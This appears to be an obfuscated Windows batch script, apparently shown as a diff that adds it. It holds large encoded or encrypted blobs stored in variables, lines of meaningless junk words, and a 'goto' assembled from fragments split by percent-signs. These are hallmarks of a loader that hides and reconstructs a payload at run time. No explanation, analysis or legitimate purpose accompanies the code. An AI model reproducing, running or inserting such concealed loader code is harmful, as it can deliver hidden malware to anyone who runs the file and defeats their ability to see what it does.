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
+Set nrp2Cd=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
+g%m92DJYM1%o%EUFdeThx%t%g2XodHS%o%YWz4xs% :FAJ[7Jm
+%fcuqQyw0%:%weGaR27%:%LLJ6o6I1%  rbpiloyr ooynna yxptrvat eauxxbis pohpce krilze rasovna koroul epocbha mezigrnme poskflpu
+:yRhqEF
+set k7EmPoW=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
+%pCLp5JN%rE%JKfIOeFB%M%kdoU5II%  naozdra kvoystoenn mibko qzcmat mwomoka lkap
+SEt ndOVLLU5=u1aqKZrBdk7ZsFkexr74xc0A/x3zf87k1j/v5DDSwFNPdqZPDoVHYghfvnE7YP3hkQV8juyL2vi82x8VJYVV4uSEI9xsnXNGRCbWGvxka7W7IU3ubqeYHQNsnMm26x0Aa08GTwU8S4HdK6Eg6dEh96nkISiLIjafU518JtE6fdFNR04YpvPiBs9+vAjZVGfUaRUUlbOVhWUxRZIbxavcDZhV+r9h3l2zdXVE2QQUrPzeHIfXJ0844BWakiuakRH2wYyMm5TPzJJMQ2hQCckKdi3+81Vx7znXGRCiU8SYntptOXW8brgIkzcQtyyMLxJ0Reyetn9G/VulEq0KgQ8OalgseJFxb4K4J8IiAa45ZvtERnJi5tyL4XEAKosJF/Uw2GcJHWJnhD+V5WeBKhAOZ7BDKuZJ+lCU5RE9x3iuvztzr/TFaxOkg5j20GtU1J1/tRAGDmIXubqEeikK8F3ImuJIkr7ZXPkCyp3aSUmmY5B8YmwkhI2HrRWN3GLnsBGeW53e0A788tbIsUFg62Rh5Yb0nhYFYJ9dLnApQaoj3upu6bZ8to54jFB1FmtLV3LWwU93ug1J3Gen1E8YAzSogLUoSUWGMFcI6VeQU2SMBZIyRA2qEO/E5evw/1xjHuoVFHula3dFV6z0Dthlz4WduYnFKXyE3EDdambzvX5h7yTaP6RRwGI3yvzXIWS3/5q6EyryBW3v0uJq6fQIjOWKeFFw0/V4uL6sCI7p1DC8wbBd/5Vp5NA7UiuaiILJXOD9dVNicI7GTRj8P1Tx2KmL9pmy/XgGWujXySaqTG64aDkwz/ifU0/uD4hyWVkYyOMml23USz/qshSmm3IegypLeIlbz5/zdhizJ4f5RPBV2ON/TwzGZJVhyLeqIKfdQQapWsKRWod6svZorvt5H7HCYg49Ah9s/fyLaztNNFGD1ePgLAQDJT9UnsQCf308ShlMokbKfe+/1k4kOMgroKONwaidkpWCbTvBJDC3Sw5sR3ncRx4fqxE+WOIq5AEmVz8pApFb5k41v1Zu8Srgarl4tkn7Owb+ZubBP17sgPIs56tw8RdX/jvnZPeyA1LnWCTR/UaCulor7erzHaEQIgYjC9xrkfKY8mqc30q9xOvWSVF4A4oKVIKspA1Qk1jpWlHBDCUmN0Oac79ZdTemG3/FeVmy245kTy+OZEzRYk6WT1j+O7gNLOmTHDtg7cOyS+Xsklz3+RvSynPteaMMiX+CnXYxCBm9pEuaoXiD9GlT9uX3XVxR6geFMrn6jX51yBi7uPNSXEr/7hjjTFiECL/GB6SU48UVHUniHiQC/nNIAii4reJWAZbZ3K6iBdW1mXRGdkaqeVgqsKgLANb8EQ4xJS9NUK6mX2SBmePksBctWoiZrbi5ZVNh7ff6XRto84BSfwh46uHQVzYoyvWVd7qnKEuxQKhWaiKAcDjD0Snfx2UbVBonaqFhyNTHOvxsqJrbhcZyE6pNAGNZmzgZwbDz0uO5M2IKuDrwfR9/OxSclXczFTDpQCNSxILok/cSn47EcFT+O8/idBiDDAJZMJ27p2AhCDl/4VAiQF40Xnt9EyVEBcU0EMaKI+Q3TyVgGYppL/IJDiXxkI56A3Brw5xacYPlTYjHJErGsmEH5m9Nv2bRk7kabvlDb5OKmcO7Jy4+6eCm6dGH1nmhmvceaC+PSkyGUYMkvPycHCyCQpgzc3O9ywr+dO0/Lo5hjHHjJEqs6cqqE74wO7fByhC93xb1DIuzEpd/+ZMONb4fpMHdpEtT1oZxysonCFgv6+4oonU13ZtwaE1uLD5SdQfSFMr0SvRNxQyg7dObXJ3hCZrUeOfQ0csbkcsULLx4IbN94jkdxUvaOFVlZRNxlm6Q3GBup1tUP1xyIOxRfQ0z0AlQm62XJtgUQnfF7a6UJt7Vr3k8XW0ERaBrywPdIjbnbdGa4vsEo21LJNWlOEOsUxflnI7vyN5GYBnfkyRPfdYOmJ+IASyatuPR2LT0vZibqb8Da1obnJzkOkr6CUOFIF9oGjzP8wq86jsjLFvNMV9AmomVOqsGPHTsp5w0/XIkUFUiJxchQ3BThIqRCPkxsqg19g8wA5x4tAhIEVaEQouuVtzlzL9E+wpSzHIyNT5YKVMXJEjtKpUEH0CdmxPY2RxYbzlNN1Z1rjHfNZmbE8BG6x9mPH0bL5wyjuJcCW9U/roTlIzlGLGeKV22QhFA50VmlGKdYv5dbRfrLHFTe4NL75BUsfG4NQ91R8hxkp9k5ahkFX3JtB3JC3nqOO/1paalECAr+4IfBMG0kjRvC4CzIQpOe12zsoJj9vkhQmIjpmKAnH5ispmyTzd1naYwjmFFg+bTMzE7ub9nGDvjCRlX0Kl/AzqU/lxns0yN0l1KTxagpX9ySzZDHxIkThBdX+UHQe+NXgwYte2qNhY3yxeVxq74/RI0iY/GuRtnwVdbJKNydMKC+D6ovSa8ZmFGbzCi0dmq9e7qjzvTn8AzRk4mgifyIL+0fRd8GfX2ZPuldFyBhFABKfz6W/3qgKLfqvxX9O3x3w+Hbhzy9OTf2xPW+2iXJkIeT5AL4uF9nh5/DWC7s6iZQu8qdN/YyLzMX2WfBtpf/zi7ZQogL1y/2hnhYB6d3IGjd/0J4CCca9IlKcuJhVNVAtYpbeoIpzySh2DWWJNDF3aJw71bBQO01MfYMZf+ewGrRqDkPM9ogWH22wx2802UDPgvTNNAkyx6kLGwnYD5M80xvVXz4rh+JKCp78KFzFDPJOiTSQHKPg6PzjdrFxOMbOQKXkUHD2gKrM4Vajp//BpD6IxML5h1OJpR6g+wcqAllIvBuHIGCnyfP/tUEmP/tHfshz5DfS9xdVP0dd58+sFwhZyVAbvMT6WWGX7Itn0F/Ny0kBx2KoQ55MX03+pN7au4OVIeLN7j46hUYImZyTmhB7W0nwY1/VC67BWZ7ydq/6furol/YChcNpSfj9JcmA3t3AVqgSSTUS7ZpXOzwiqWAUPG3cJKQzLYrpAy8fKSb/1lUSBuQpT1tZyZ9RXJIezKVkisFu6VHHz5Ziezjx/d+oXipwkeTvKwC4Eoc2mMBZ+0hq73F7w5RVQxUXgREKJN4BWv8j2vK7uj2PgtKh2WOC+LtFel7rI8Az4IP3rA+9AB3cCLSe4skdGZGM